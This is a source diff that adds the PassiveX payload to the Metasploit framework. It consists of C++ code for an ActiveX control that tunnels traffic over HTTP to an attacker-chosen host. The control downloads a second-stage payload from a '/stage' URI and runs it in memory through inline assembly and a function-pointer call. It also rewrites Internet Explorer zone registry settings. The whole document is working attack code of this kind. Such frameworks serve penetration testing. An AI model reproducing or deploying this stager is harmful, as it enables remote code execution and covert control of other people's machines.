diff --git a/data/passivex/passivex.dll b/data/passivex/passivex.dll new file mode 100755 index 0000000000..2d87c2b733 Binary files /dev/null and b/data/passivex/passivex.dll differ diff --git a/external/source/passivex/CPassiveX.cpp b/external/source/passivex/CPassiveX.cpp new file mode 100644 index 0000000000..1ea2aa3e86 --- /dev/null +++ b/external/source/passivex/CPassiveX.cpp @@ -0,0 +1,231 @@ +/* + * This file is part of the Metasploit Exploit Framework + * and is subject to the same licenses and copyrights as + * the rest of this package. + */ +#include "PassiveXLib.h" +#include "CPassiveX.h" + +#ifdef PXDEBUG +static FILE *DebugFd = NULL; +#endif + +CPassiveX::CPassiveX() +: PropHttpPort(0) +{ +} + +CPassiveX::~CPassiveX() +{ + Tunnel.Stop(); + +#ifdef PXDEBUG + if (DebugFd) + fclose( + DebugFd); +#endif +} + +STDMETHODIMP CPassiveX::InterfaceSupportsErrorInfo(REFIID riid) +{ + if (::InlineIsEqualGUID(IID_IPassiveX, riid)) + return S_OK; + + return S_FALSE; +} + +/************** + * Properties * + **************/ + +HRESULT CPassiveX::get_HttpHost(BSTR *Host) +{ + *Host = PropHttpHost; + + return S_OK; +} + +HRESULT CPassiveX::put_HttpHost(BSTR Host) +{ + PropHttpHost = Host; + + return S_OK; +} + +HRESULT CPassiveX::get_HttpPort(ULONG *Port) +{ + *Port = PropHttpPort; + + return S_OK; +} + +HRESULT CPassiveX::put_HttpPort(ULONG Port) +{ + PropHttpPort = Port; + + return S_OK; +} + +HRESULT CPassiveX::get_DownloadSecondStage(ULONG *Port) +{ + return S_OK; +} + +HRESULT CPassiveX::put_DownloadSecondStage(ULONG Port) +{ + Initialize(); + + return S_OK; +} + +#ifdef PXDEBUG +/* + * Logs a message to a file for debugging purposes + */ +VOID CPassiveX::Log(LPCTSTR fmt, ...) +{ + // If we haven't opened the debug log yet... + if (!DebugFd) + { + TCHAR DebugFilePath[MAX_PATH]; + + ZeroMemory( + DebugFilePath, + sizeof(DebugFilePath)); + + ExpandEnvironmentStrings( + TEXT("%TEMP%\\PassiveX.log"), + DebugFilePath, + (sizeof(DebugFilePath) / sizeof(TCHAR)) - 1); + + // Try to open the debug log file + DebugFd = fopen( + DebugFilePath, + "a"); + } + + // If we have a valid debug file descriptor...use it + if (DebugFd) + { + va_list Args; + + va_start( + Args, + fmt); + +#ifndef _UNICODE + vfprintf( + DebugFd, + fmt, + Args); +#else + // Lame... + { + USES_CONVERSION; + + LPCSTR AsciiString = OLE2A(fmt); + + vfprintf( + DebugFd, + AsciiString, + Args); + } +#endif + + va_end( + Args); + + fflush( + DebugFd); + } +} +#endif + +/********************* + * Protected Methods * + *********************/ + +/* + * Restores internet explorer zone restrictions to defaults and creates the HTTP + * tunnel as necessary + */ +VOID CPassiveX::Initialize() +{ + USES_CONVERSION; + + // If the HTTP port is valid, start the HTTP tunnel + if ((PropHttpHost) && + (PropHttpPort)) + { + Tunnel.Start( + OLE2A(PropHttpHost), + (USHORT)PropHttpPort); + } + + // Reset zone restrictions back to default + ResetExplorerZoneRestrictions(); +} + +/* + * Resets the internet explorer zone restrictions back to their defaults such + * that people aren't left vulnerable + */ +VOID CPassiveX::ResetExplorerZoneRestrictions() +{ + ULONG Value; + HKEY InternetZoneKey = NULL; + + // Open the internet zone + if (RegOpenKeyEx( + HKEY_CURRENT_USER, + TEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Zones\\3"), + 0, + KEY_WRITE, + &InternetZoneKey) == ERROR_SUCCESS) + { + // Download unsigned ActiveX controls + Value = 3; // Disabled + + RegSetValueEx( + InternetZoneKey, + TEXT("1004"), + 0, + REG_DWORD, + (LPBYTE)&Value, + sizeof(Value)); + + RegSetValueEx( + InternetZoneKey, + TEXT("1201"), + 0, + REG_DWORD, + (LPBYTE)&Value, + sizeof(Value)); + + // Download signed ActiveX controls + Value = 1; // Prompt + + RegSetValueEx( + InternetZoneKey, + TEXT("1001"), + 0, + REG_DWORD, + (LPBYTE)&Value, + sizeof(Value)); + + // Run ActiveX controls and plugins + Value = 0; // Enabled + + RegSetValueEx( + InternetZoneKey, + TEXT("1200"), + 0, + REG_DWORD, + (LPBYTE)&Value, + sizeof(Value)); + + // Initialize and script ActiveX controls not marked as safe + RegCloseKey( + InternetZoneKey); + } +} diff --git a/external/source/passivex/CPassiveX.h b/external/source/passivex/CPassiveX.h new file mode 100644 index 0000000000..e801f8f62e --- /dev/null +++ b/external/source/passivex/CPassiveX.h @@ -0,0 +1,114 @@ +/* + * This file is part of the Metasploit Exploit Framework + * and is subject to the same licenses and copyrights as + * the rest of this package. + */ +#ifndef _CPASSIVEX_H +#define _CPASSIVEX_H + +#include +#include + +extern CComModule _Module; + +#include +#include + +#include "HttpTunnel.h" + +class ATL_NO_VTABLE CPassiveX : + public CComObjectRootEx, + public CComCoClass, + public CComControl, + public IOleObjectImpl, + public IOleControlImpl, + public IOleInPlaceActiveObjectImpl, + public IOleInPlaceObjectWindowlessImpl, + public IObjectWithSiteImpl, + public IProvideClassInfo2Impl<&CLSID_PassiveX, &DIID_PassiveXEvents, &LIBID_PassiveXCOM>, + public IConnectionPointContainerImpl, + public IDispatchImpl, + public IConnectionPointImpl, + public IPersistPropertyBagImpl, + public ISupportErrorInfo +{ public: + CPassiveX(); + ~CPassiveX(); + + DECLARE_REGISTRY_RESOURCEID(IDR_PASSIVEX) + DECLARE_PROTECT_FINAL_CONSTRUCT() + BEGIN_COM_MAP(CPassiveX) + COM_INTERFACE_ENTRY(IPassiveX) + COM_INTERFACE_ENTRY(IDispatch) + COM_INTERFACE_ENTRY(ISupportErrorInfo) + COM_INTERFACE_ENTRY(IProvideClassInfo) + COM_INTERFACE_ENTRY(IProvideClassInfo2) + COM_INTERFACE_ENTRY(IObjectWithSite) + COM_INTERFACE_ENTRY(IOleInPlaceObjectWindowless) + COM_INTERFACE_ENTRY(IOleInPlaceObject) + COM_INTERFACE_ENTRY2(IOleWindow, IOleInPlaceObject) + COM_INTERFACE_ENTRY(IOleInPlaceActiveObject) + COM_INTERFACE_ENTRY(IOleControl) + COM_INTERFACE_ENTRY(IOleObject) + COM_INTERFACE_ENTRY(IPersistPropertyBag) + COM_INTERFACE_ENTRY(IConnectionPointContainer) + COM_INTERFACE_ENTRY_IMPL(IConnectionPointContainer) + END_COM_MAP() + + // We are a singleton + DECLARE_CLASSFACTORY_SINGLETON(CPassiveX); + + // Messages + BEGIN_MSG_MAP(CPassiveX) + CHAIN_MSG_MAP(CComControl) + DEFAULT_REFLECTION_HANDLER() + END_MSG_MAP() + + // Connections + BEGIN_CONNECTION_POINT_MAP(CPassiveX) + CONNECTION_POINT_ENTRY(DIID_PassiveXEvents) + END_CONNECTION_POINT_MAP() + + // Properties + BEGIN_PROPERTY_MAP(CPassiveX) + PROP_ENTRY("HttpHost", PASSIVEX_PROPERTY_HTTP_HOST, CLSID_NULL) + PROP_ENTRY("HttpPort", PASSIVEX_PROPERTY_HTTP_PORT, CLSID_NULL) + PROP_ENTRY("DownloadSecondStage", PASSIVEX_PROPERTY_DOWNLOAD_SECOND_STAGE, CLSID_NULL) + END_PROPERTY_MAP() + + // ISupportErrorInfo + STDMETHOD(InterfaceSupportsErrorInfo)(REFIID riid); + + // IPassiveX + STDMETHOD(get_HttpHost)(BSTR *Host); + STDMETHOD(put_HttpHost)(BSTR Host); + STDMETHOD(get_HttpPort)(ULONG *Port); + STDMETHOD(put_HttpPort)(ULONG Port); + STDMETHOD(get_DownloadSecondStage)(ULONG *Port); + STDMETHOD(put_DownloadSecondStage)(ULONG Port); + +#ifdef PXDEBUG + // Debug logging + static VOID Log(LPCTSTR fmt, ...); +#else + static VOID Log(LPCTSTR fmt, ...) { } +#endif + protected: + + VOID Initialize(); + + VOID ResetExplorerZoneRestrictions(); + + /************** + * Attributes * + **************/ + + // Properties + CComBSTR PropHttpHost; + ULONG PropHttpPort; + + // Tunnel + HttpTunnel Tunnel; +}; + +#endif diff --git a/external/source/passivex/HttpTunnel.cpp b/external/source/passivex/HttpTunnel.cpp new file mode 100644 index 0000000000..2f25dbba2a --- /dev/null +++ b/external/source/passivex/HttpTunnel.cpp @@ -0,0 +1,774 @@ +/* + * This file is part of the Metasploit Exploit Framework + * and is subject to the same licenses and copyrights as + * the rest of this package. + */ +#include "PassiveXLib.h" +#include "HttpTunnel.h" + +// The number of failed HTTP connections +static DWORD FailedConnections = 0; + +HttpTunnel::HttpTunnel() +: HttpHost(NULL), + HttpPort(0), + LocalTcpListener(0), + LocalTcpClientSide(0), + LocalTcpServerSide(0), + InternetHandle(NULL), + SendThread(NULL), + ReceiveThread(NULL), + SecondStageThread(NULL), + SecondStage(NULL), + SecondStageSize(0) +{ + // Initialize winsock, not that we should need to. + WSAStartup( + MAKEWORD(2, 2), + &WsaData); + + srand(time(NULL)); +} + +HttpTunnel::~HttpTunnel() +{ + Stop(); + + // Cleanup winsock + WSACleanup(); +} + +/* + * Initiates the HTTP tunnel and gets the ball rolling + */ +DWORD HttpTunnel::Start( + IN LPSTR InHttpHost, + IN USHORT InHttpPort) +{ + DWORD ThreadId; + DWORD Result = ERROR_SUCCESS; + + do + { + // Initialize the hostname and port + if (!(HttpHost = strdup(InHttpHost))) + { + Result = ERROR_NOT_ENOUGH_MEMORY; + break; + } + + HttpPort = InHttpPort; + + // Acquire the internet context handle + if (!(InternetHandle = InternetOpen( + NULL, + INTERNET_OPEN_TYPE_PRECONFIG, + NULL, + NULL, + 0))) + { + Result = GetLastError(); + break; + } + + // Create the local TCP abstraction + if ((Result = InitializeLocalConnection()) != ERROR_SUCCESS) + { + CPassiveX::Log( + TEXT("Start(): InitializeLocalConnection failed, %lu.\n"), + Result); + break; + } + + // Download the second stage if there is one + DownloadSecondStage(); + + // Create the transmission thread + if (!(SendThread = CreateThread( + NULL, + 0, + (LPTHREAD_START_ROUTINE)SendThreadFuncSt, + this, + 0, + &ThreadId))) + { + Result = GetLastError(); + break; + } + + // Create the receive thread + if (!(ReceiveThread = CreateThread( + NULL, + 0, + (LPTHREAD_START_ROUTINE)ReceiveThreadFuncSt, + this, + 0, + &ThreadId))) + { + Result = GetLastError(); + break; + } + + // Woop + Result = ERROR_SUCCESS; + + } while (0); + + return Result; +} + +/* + * Stops the HTTP tunnel and cleans up resources + */ +DWORD HttpTunnel::Stop() +{ + DWORD Result = ERROR_SUCCESS; + DWORD Index = 0; + LPHANDLE Threads[] = + { + &SecondStageThread, + &ReceiveThread, + &SendThread, + NULL + }; + + // Terminate the threads that were spawned + for (Index = 0; + Threads[Index]; + Index++) + { + LPHANDLE Thread = Threads[Index]; + + if (*Thread) + { + TerminateThread( + *Thread, + 0); + + CloseHandle( + *Thread); + + *Thread = NULL; + } + } + + // Close all of the open sockets we may have + if (LocalTcpListener) + closesocket( + LocalTcpListener); + if (LocalTcpClientSide) + closesocket( + LocalTcpClientSide); + if (LocalTcpServerSide) + closesocket( + LocalTcpServerSide); + + LocalTcpListener = 0; + LocalTcpClientSide = 0; + LocalTcpServerSide = 0; + + // Free up memory associated with the second stage + if (SecondStage) + { + free( + SecondStage); + + SecondStage = NULL; + SecondStageSize = 0; + } + + // Close the global internet handle acquired from InternetOpen + if (InternetHandle) + { + InternetCloseHandle( + InternetHandle); + + InternetHandle = NULL; + } + + return Result; +} + +/********************* + * Protected Methods * + *********************/ + +/* + * Creates the local TCP abstraction that will be used as the socket for the + * second stage that is read in + */ +DWORD HttpTunnel::InitializeLocalConnection() +{ + struct sockaddr_in Sin; + USHORT LocalPort = 0; + DWORD Attempts = 0; + DWORD Result = ERROR_SUCCESS; + + do + { + // Create the TCP listener socket + if ((LocalTcpListener = socket( + AF_INET, + SOCK_STREAM, + IPPROTO_TCP)) == INVALID_SOCKET) + { + LocalTcpListener = 0; + Result = WSAGetLastError(); + break; + } + + // Create the TCP client socket + if ((LocalTcpClientSide = socket( + AF_INET, + SOCK_STREAM, + IPPROTO_TCP)) == INVALID_SOCKET) + { + LocalTcpClientSide = 0; + Result = WSAGetLastError(); + break; + } + + Sin.sin_family = AF_INET; + Sin.sin_addr.s_addr = inet_addr("127.0.0.1"); + + // Try 256 times to pick a random port + Sin.sin_port = htons(LocalPort = (rand() % 32000) + 1025); + + while ((bind( + LocalTcpListener, + (struct sockaddr *)&Sin, + sizeof(Sin)) == SOCKET_ERROR) && + (Attempts++ < 256)) + { + Sin.sin_port = htons(LocalPort = (rand() % 32000) + 1025); + } + + // If we failed to create the local listener, bomb out + if (Attempts >= 256) + { + Result = WSAGetLastError(); + break; + } + + // Listen and stuff + if (listen( + LocalTcpListener, + 1) == SOCKET_ERROR) + { + Result = WSAGetLastError(); + break; + } + + // Establish a connection to the local listener + if (connect( + LocalTcpClientSide, + (struct sockaddr *)&Sin, + sizeof(Sin)) == SOCKET_ERROR) + { + Result = WSAGetLastError(); + break; + } + + // Accept the local TCP connection + if ((LocalTcpServerSide = accept( + LocalTcpListener, + NULL, + NULL)) == SOCKET_ERROR) + { + LocalTcpServerSide = 0; + + Result = WSAGetLastError(); + break; + } + + // Woop! + Result = ERROR_SUCCESS; + + } while (0); + + return Result; +} + +/* + * Downloads the second stage payload from the remote HTTP host and executes it + * in its own thread if there is one + */ +VOID HttpTunnel::DownloadSecondStage() +{ + // Transmit the request to download the second stage. The stage buffer that + // is passed back is never deallocated. + if ((TransmitHttpRequest( + TEXT("GET"), + PASSIVEX_URI_SECOND_STAGE, + NULL, + 0, + 30000, + NULL, + (PVOID *)&SecondStage, + &SecondStageSize) == ERROR_SUCCESS) && + (SecondStageSize)) + { + DWORD ThreadId = 0; + + CPassiveX::Log( + TEXT("DownloadSecondStage(): Downloaded %lu byte second stage, executing it...\n"), + SecondStageSize); + + // Create the second stage thread + SecondStageThread = CreateThread( + NULL, + 0, + (LPTHREAD_START_ROUTINE)SecondStageThreadFuncSt, + this, + 0, + &ThreadId); + } + else + { + CPassiveX::Log( + TEXT("DownloadSecondStage(): Failed to download second stage, %lu."), + GetLastError()); + + ExitProcess(0); + + } +} + +/* + * Transmits the supplied data to the remote HTTP host + */ +DWORD HttpTunnel::TransmitToRemote( + IN PUCHAR Buffer, + IN ULONG BufferSize) +{ + CPassiveX::Log( + TEXT("TransmitToRemote(): Transmitting %lu bytes of data to the remote side of the TCP abstraction.\n"), + BufferSize); + + return TransmitHttpRequest( + "POST", + PASSIVEX_URI_TUNNEL_IN, + Buffer, + BufferSize); +} + +/* + * Transmits the supplied data to the server side of the local TCP abstraction + */ +DWORD HttpTunnel::TransmitToLocal( + IN PUCHAR Buffer, + IN ULONG BufferSize) +{ + DWORD Result = ERROR_SUCCESS; + INT BytesWritten = 0; + + // Keep writing until everything has been written + while (BufferSize > 0) + { + CPassiveX::Log( + TEXT("TransmitToLocal(): Transmitting %lu bytes of data to the local side of the TCP abstraction.\n"), + BufferSize); + + if ((BytesWritten = send( + LocalTcpServerSide, + (const char *)Buffer, + BufferSize, + 0)) == SOCKET_ERROR) + { + Result = WSAGetLastError(); + break; + } + + Buffer += BytesWritten; + BufferSize -= BytesWritten; + } + + return Result; +} + +/* + * Transmits an HTTP request to the target host, optionally waiting for a + * response + */ +DWORD HttpTunnel::TransmitHttpRequest( + IN LPTSTR Method, + IN LPTSTR Uri, + IN PVOID RequestPayload, + IN ULONG RequestPayloadLength, + IN ULONG WaitResponseTimeout, + OUT LPDWORD ResponseCode, + OUT PVOID *ResponsePayload, + OUT LPDWORD ResponsePayloadLength) +{ + HINTERNET RequestHandle = NULL; + HINTERNET ConnectHandle = NULL; + PUCHAR OutBuffer = NULL; + DWORD OutBufferLength = 0; + UCHAR ReadBuffer[8192]; + DWORD ReadBufferLength; + DWORD Result = ERROR_SUCCESS; + + do + { + PROFILE_CHECKPOINT("InternetConnect ==>"); + + // Open a connection handle + if (!(ConnectHandle = InternetConnect( + InternetHandle, + HttpHost, + HttpPort, + NULL, + NULL, + INTERNET_SERVICE_HTTP, + 0, + NULL))) + { + Result = GetLastError(); + break; + } + + PROFILE_CHECKPOINT("InternetConnect <=="); + + // If we were supplied a wait response timeout, set it + if (WaitResponseTimeout) + InternetSetOption( + ConnectHandle, + INTERNET_OPTION_RECEIVE_TIMEOUT, + &WaitResponseTimeout, + sizeof(WaitResponseTimeout)); + + PROFILE_CHECKPOINT("HttpOpenRequest ==>"); + + // Open a request handle + if (!(RequestHandle = HttpOpenRequest( + ConnectHandle, + Method ? Method : TEXT("GET"), + Uri, + NULL, + NULL, + NULL, + INTERNET_FLAG_PRAGMA_NOCACHE | INTERNET_FLAG_NO_CACHE_WRITE | + INTERNET_FLAG_RELOAD, + NULL))) + { + Result = GetLastError(); + break; + } + + PROFILE_CHECKPOINT("HttpOpenRequest <=="); + PROFILE_CHECKPOINT("HttpSendRequest ==>"); + + // Send and endthe request + if ((!HttpSendRequest( + RequestHandle, + NULL, + 0, + RequestPayload, + RequestPayloadLength))) + { + Result = GetLastError(); + break; + } + + PROFILE_CHECKPOINT("HttpSendRequest <=="); + + // If we wont be waiting for a response, break out now and return + if (!WaitResponseTimeout) + { + Result = ERROR_SUCCESS; + break; + } + + // Keep looping until we've read the entire request or an error is + // encountered + while (1) + { + PUCHAR NewBuffer; + + ReadBufferLength = sizeof(ReadBuffer); + + PROFILE_CHECKPOINT("InternetReadFile ==>"); + + if (!InternetReadFile( + RequestHandle, + ReadBuffer, + ReadBufferLength, + &ReadBufferLength)) + { + Result = GetLastError(); + break; + } + else if (!ReadBufferLength) + { + Result = ERROR_SUCCESS; + break; + } + + PROFILE_CHECKPOINT("InternetReadFile <=="); + + // Append the buffer to the output buffer + if (!OutBuffer) + NewBuffer = (PUCHAR)malloc( + ReadBufferLength); + else + NewBuffer = (PUCHAR)realloc( + OutBuffer, + OutBufferLength + ReadBufferLength); + + if (!NewBuffer) + { + Result = ERROR_NOT_ENOUGH_MEMORY; + break; + } + + memcpy( + NewBuffer + OutBufferLength, + ReadBuffer, + ReadBufferLength); + + OutBuffer = NewBuffer; + OutBufferLength += ReadBufferLength; + } + + // Query the status code of the response + if (ResponseCode) + { + DWORD ResponseCodeSize = sizeof(DWORD); + + if (!HttpQueryInfo( + RequestHandle, + HTTP_QUERY_STATUS_CODE, + ResponseCode, + &ResponseCodeSize, + NULL)) + { + CPassiveX::Log( + TEXT("HttpQueryInfo failed, %lu."), + GetLastError()); + + *ResponseCode = 0; + } + } + + } while (0); + + PROFILE_CHECKPOINT("Finished TransmitHttpRequest"); + + // Close handles + if (RequestHandle) + InternetCloseHandle( + RequestHandle); + if (ConnectHandle) + InternetCloseHandle( + ConnectHandle); + + // Set the output pointers or free up the output buffer + if (Result == ERROR_SUCCESS) + { + if (ResponsePayload) + *ResponsePayload = OutBuffer; + if (ResponsePayloadLength) + *ResponsePayloadLength = OutBufferLength; + + FailedConnections = 0; + } + else + { + // If we fail to connect... + if (Result == ERROR_INTERNET_CANNOT_CONNECT) + { + FailedConnections++; + + if (FailedConnections > 10) + { + CPassiveX::Log("TransmitHttpRequest(): Failed to connect to HTTP server (%lu), exiting.", + FailedConnections); + + ExitProcess(0); + } + } + + if (OutBuffer) + free( + OutBuffer); + } + + return Result; +} + +/* + * Method wrapper + */ +ULONG HttpTunnel::SendThreadFuncSt( + IN HttpTunnel *Tunnel) +{ + return Tunnel->SendThreadFunc(); +} + +/* + * Monitors the server side of the local TCP abstraction for data that can be + * transmitted to the remote half of the pipe + */ +ULONG HttpTunnel::SendThreadFunc() +{ + fd_set FdSet; + UCHAR ReadBuffer[16384]; + LONG BytesRead; + INT Result; + + // This is the song that never ends... + while (1) + { + FD_ZERO( + &FdSet); + FD_SET( + LocalTcpServerSide, + &FdSet); + + PROFILE_CHECKPOINT("select ==>"); + + // Wait for some data... + Result = select( + LocalTcpServerSide + 1, + &FdSet, + NULL, + NULL, + NULL); + + PROFILE_CHECKPOINT("select <=="); + + // If select failed or there was no new data, act accordingly else risk + // the fist of the evil witch + if (Result < 0) + { + CPassiveX::Log( + TEXT("SendThreadFunc(): TUNNEL_IN: Select failed, %lu.\n"), + WSAGetLastError()); + break; + } + else if (Result == 0) + continue; + + PROFILE_CHECKPOINT("recv ==>"); + + // Read in data from the local server side of the TCP connection + BytesRead = recv( + LocalTcpServerSide, + (char *)ReadBuffer, + sizeof(ReadBuffer), + 0); + + PROFILE_CHECKPOINT("recv <=="); + + // On error or end of file... + if (BytesRead <= 0) + { + CPassiveX::Log( + TEXT("SendThreadFunc(): TUNNEL_IN: Read 0 or fewer bytes, erroring out (%lu).\n"), + BytesRead); + break; + } + + CPassiveX::Log( + TEXT("SendThreadFunc(): TUNNEL_IN: Transmitting %lu bytes of data to remote side.\n"), + BytesRead); + + PROFILE_CHECKPOINT("TransmitToRemote ==>"); + + // Transmit the data to the remote side + if ((Result = TransmitToRemote( + ReadBuffer, + BytesRead)) != ERROR_SUCCESS) + { + CPassiveX::Log( + TEXT("SendThreadFunc(): TUNNEL_IN: TransmitToRemote failed, %lu.\n"), + Result); + } + + PROFILE_CHECKPOINT("TransmitToRemote <=="); + } + + // Exit the process if the send thread ends + ExitProcess(0); + + return 0; +} + +/* + * Method wrapper + */ +ULONG HttpTunnel::ReceiveThreadFuncSt( + IN HttpTunnel *Tunnel) +{ + return Tunnel->ReceiveThreadFunc(); +} + +/* + * Polls for data that should be sent to the local server side of the TCP + * abstraction + */ +ULONG HttpTunnel::ReceiveThreadFunc() +{ + PUCHAR ReadBuffer = NULL; + DWORD ReadBufferLength = 0; + DWORD ResponseCode = 0; + + while (1) + { + ReadBufferLength = 0; + ReadBuffer = NULL; + ResponseCode = 0; + + if ((TransmitHttpRequest( + TEXT("GET"), + PASSIVEX_URI_TUNNEL_OUT, + NULL, + 0, + 30000, + &ResponseCode, + (PVOID *)&ReadBuffer, + &ReadBufferLength) == ERROR_SUCCESS) && + (ReadBuffer)) + { + CPassiveX::Log( + TEXT("ReceiveThreadFunc(): TUNNEL_OUT: Received response code %lu, buffer length %lu.\n"), + ResponseCode, + ReadBufferLength); + + TransmitToLocal( + ReadBuffer, + ReadBufferLength); + + free( + ReadBuffer); + } + else + { + CPassiveX::Log( + TEXT("ReceiveThreadFunc(): TUNNEL_OUT: TransmitHttpRequest failed, %lu.\n"), + GetLastError()); + } + } + + return 0; +} + +/* + * Calls the second stage after initializing the proper registers + */ +ULONG HttpTunnel::SecondStageThreadFuncSt( + IN HttpTunnel *Tunnel) +{ + SOCKET Fd = Tunnel->LocalTcpClientSide; + + // Initialize edi to the file descriptor that the second stage might use + __asm + { + lea eax, [Fd] + mov edi, [eax] + } + + ((VOID (*)())Tunnel->SecondStage)(); + + return 0; +} diff --git a/external/source/passivex/HttpTunnel.h b/external/source/passivex/HttpTunnel.h new file mode 100644 index 0000000000..c394ea1301 --- /dev/null +++ b/external/source/passivex/HttpTunnel.h @@ -0,0 +1,95 @@ +/* + * This file is part of the Metasploit Exploit Framework + * and is subject to the same licenses and copyrights as + * the rest of this package. + */ +#ifndef _PASSIVEX_HTTPTUNNEL_H +#define _PASSIVEX_HTTPTUNNEL_H + +#define PASSIVEX_URI_SECOND_STAGE TEXT("/stage") +#define PASSIVEX_URI_TUNNEL_IN TEXT("/tunnel_in") +#define PASSIVEX_URI_TUNNEL_OUT TEXT("/tunnel_out") + +#define PROFILE_CHECKPOINT(x) \ + CPassiveX::Log("%s:%d:%lu: %s\n", __FILE__, __LINE__, GetTickCount(), x) + + +/* + * This class is responsible for managing the HTTP tunnel between a target host + * and the local machine. + */ +class HttpTunnel +{ + public: + HttpTunnel(); + ~HttpTunnel(); + + // Initialization + DWORD Start( + IN LPSTR HttpHost, + IN USHORT HttpPort); + DWORD Stop(); + protected: + // Internal Initialization + DWORD InitializeLocalConnection(); + + // Second stage loader + VOID DownloadSecondStage(); + + // Data transmission + DWORD TransmitToRemote( + IN PUCHAR Buffer, + IN ULONG BufferSize); + DWORD TransmitToLocal( + IN PUCHAR Buffer, + IN ULONG BufferSize); + + DWORD TransmitHttpRequest( + IN LPTSTR Method, + IN LPTSTR Uri, + IN PVOID RequestPayload = NULL, + IN ULONG RequestPayloadLength = 0, + IN ULONG WaitResponseTimeout = 0, + OUT LPDWORD ResponseCode = NULL, + OUT PVOID *ResponsePayload = NULL, + OUT LPDWORD ResponsePayloadLength = NULL); + + // Thread functions + static ULONG SendThreadFuncSt( + IN HttpTunnel *Tunnel); + ULONG SendThreadFunc(); + static ULONG ReceiveThreadFuncSt( + IN HttpTunnel *Tunnel); + ULONG ReceiveThreadFunc(); + + static ULONG SecondStageThreadFuncSt( + IN HttpTunnel *Tunnel); + + /************** + * Attributes * + **************/ + + // Remote host information + LPSTR HttpHost; + USHORT HttpPort; + + // Sockets + WSADATA WsaData; + SOCKET LocalTcpListener; + SOCKET LocalTcpClientSide; + SOCKET LocalTcpServerSide; + + // Internet context + HINTERNET InternetHandle; + + // Stage attributes + PUCHAR SecondStage; + DWORD SecondStageSize; + + // Threads + HANDLE SendThread; + HANDLE ReceiveThread; + HANDLE SecondStageThread; +}; + +#endif diff --git a/external/source/passivex/PassiveX.bin b/external/source/passivex/PassiveX.bin new file mode 100755 index 0000000000..961aaa2553 --- /dev/null +++ b/external/source/passivex/PassiveX.bin @@ -0,0 +1,26 @@ +HKCR +{ + PassiveX.PassiveX.1 = s 'PassiveX Class' + { + CLSID = s '{B3AC7307-FEAE-4e43-B2D6-161E68ABA838}' + } + PassiveX.PassiveX = s 'PassiveX Class' + { + CLSID = s '{B3AC7307-FEAE-4e43-B2D6-161E68ABA838}' + CurVer = s 'PassiveX.PassiveX.1' + } + NoRemove CLSID + { + ForceRemove {B3AC7307-FEAE-4e43-B2D6-161E68ABA838} = s 'PassiveX Class' + { + ProgID = s 'PassiveX.PassiveX.1' + VersionIndependentProgID = s 'PassiveX.PassiveX' + ForceRemove 'Programmable' + InprocServer32 = s '%MODULE%' + { + val ThreadingModel = s 'Apartment' + } + 'TypeLib' = s '{CA8B739E-450C-47bb-A557-3579A633BB5D}' + } + } +} diff --git a/external/source/passivex/PassiveX.cpp b/external/source/passivex/PassiveX.cpp new file mode 100644 index 0000000000..5e251bc6ff --- /dev/null +++ b/external/source/passivex/PassiveX.cpp @@ -0,0 +1,46 @@ +#include "PassiveXLib.h" + +#include +#include + +#include "PassiveX_i.c" +#include "CPassiveX.h" + +CComModule _Module; + +BEGIN_OBJECT_MAP(ObjectMap) + OBJECT_ENTRY(CLSID_PassiveX, CPassiveX) +END_OBJECT_MAP() + +extern "C" BOOL WINAPI DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved) +{ + if (dwReason == DLL_PROCESS_ATTACH) + { + _Module.Init(ObjectMap, hInstance, &LIBID_PassiveXCOM); + DisableThreadLibraryCalls(hInstance); + } + else if (dwReason == DLL_PROCESS_DETACH) + _Module.Term(); + + return TRUE; +} + +STDAPI DllCanUnloadNow(void) +{ + return (_Module.GetLockCount()==0) ? S_OK : S_FALSE; +} + +STDAPI DllGetClassObject(REFCLSID rclsid, REFIID riid, LPVOID* ppv) +{ + return _Module.GetClassObject(rclsid, riid, ppv); +} + +STDAPI DllRegisterServer(void) +{ + return _Module.RegisterServer(TRUE); +} + +STDAPI DllUnregisterServer(void) +{ + return _Module.UnregisterServer(TRUE); +} diff --git a/external/source/passivex/PassiveX.idl b/external/source/passivex/PassiveX.idl new file mode 100644 index 0000000000..89812fec92 --- /dev/null +++ b/external/source/passivex/PassiveX.idl @@ -0,0 +1,57 @@ +import "oaidl.idl"; +import "ocidl.idl"; + +enum PassiveXProperties +{ + PASSIVEX_PROPERTY_HTTP_HOST = 1, + PASSIVEX_PROPERTY_HTTP_PORT = 2, + PASSIVEX_PROPERTY_DOWNLOAD_SECOND_STAGE = 3, +}; + +[ + object, + uuid(1940F02F-41B0-4d92-BE34-DA55D151893A), + helpstring("IPassiveX"), + pointer_default(unique), + dual +] +interface IPassiveX : IDispatch +{ + [propput, id(PASSIVEX_PROPERTY_HTTP_HOST)] HRESULT HttpHost([in] BSTR host); + [propget, id(PASSIVEX_PROPERTY_HTTP_HOST)] HRESULT HttpHost([out, retval] BSTR *host); + [propput, id(PASSIVEX_PROPERTY_HTTP_PORT)] HRESULT HttpPort([in] ULONG port); + [propget, id(PASSIVEX_PROPERTY_HTTP_PORT)] HRESULT HttpPort([out, retval] ULONG *port); + [propput, id(PASSIVEX_PROPERTY_DOWNLOAD_SECOND_STAGE)] HRESULT DownloadSecondStage([in] ULONG na); + [propget, id(PASSIVEX_PROPERTY_DOWNLOAD_SECOND_STAGE)] HRESULT DownloadSecondStage([out, retval] ULONG *na); +}; + +[ + uuid(CA8B739E-450C-47bb-A557-3579A633BB5D), + version(1.0), + helpstring("PassiveX Type Library") +] +library PassiveXCOM +{ + importlib("stdole32.tlb"); + importlib("stdole2.tlb"); + + [ + uuid(9A427004-996C-4d39-BF55-F7EBE0EC6249), + helpstring("PassiveX Event Interface") + ] + dispinterface PassiveXEvents + { + properties: + methods: + }; + + [ + uuid(B3AC7307-FEAE-4e43-B2D6-161E68ABA838), + helpstring("PassiveX Implementation Class") + ] + coclass PassiveX + { + [default] interface IPassiveX; + [default, source] dispinterface PassiveXEvents; + }; +}; diff --git a/external/source/passivex/PassiveXLib.h b/external/source/passivex/PassiveXLib.h new file mode 100644 index 0000000000..6d3c6d5ae6 --- /dev/null +++ b/external/source/passivex/PassiveXLib.h @@ -0,0 +1,30 @@ +/* + * This file is part of the Metasploit Exploit Framework + * and is subject to the same licenses and copyrights as + * the rest of this package. + */ + +#ifndef _PASSIVEXLIB_H +#define _PASSIVEXLIB_H + +#define _WIN32_WINNT 0x0400 +#define _ATL_APARTMENT_THREADED + +#include +#include +#include +#include +#include + +#include + +extern CComModule _Module; + +#include +#include + +#include "resource.h" +#include "PassiveX.h" +#include "CPassiveX.h" + +#endif diff --git 